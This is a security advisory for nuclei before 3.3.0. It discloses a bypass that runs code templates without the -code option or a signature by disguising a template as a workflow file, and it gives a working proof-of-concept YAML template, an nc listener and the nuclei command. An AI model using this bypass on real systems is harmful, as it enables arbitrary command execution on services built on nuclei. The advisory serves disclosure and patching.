Affected packages
• Go github.com/projectdiscovery/nuclei/v3: < 3.3.0 → fixed in 3.3.0
Description
Summary
Find a way to execute code template without -code option and signature.
Details
write a `code.yaml`:
```yaml
id: code
info:
name: example code template
author: ovi3
code:
• engine:
• sh
• bash
source: |
id
http:
• raw:
• |
POST /re HTTP/1.1
Host: {{Hostname}}
{{code_response}}
workflows:
• matchers:
• name: t
```
using nc to listen on 80:
```bash
nc -lvvnp 80
```
execute PoC template with nuclei:
```bash
./nuclei -disable-update-check -w code.yaml -u http://127.0.0.1 -vv -debug
```
and nc will get `id` command output.
We use `-w` to specify a workflow file, not `-t` to template file. and notice there is a `workflows` field in code.yaml to pretend to be a workflow file.
Test in Linux and Nuclei v3.2.9
Impact
Some web applications inherit from Nuclei and allow users to edit and execute workflow files. In this case, users can execute arbitrary commands. (Although, as far as I know, most web applications use -t to execute)
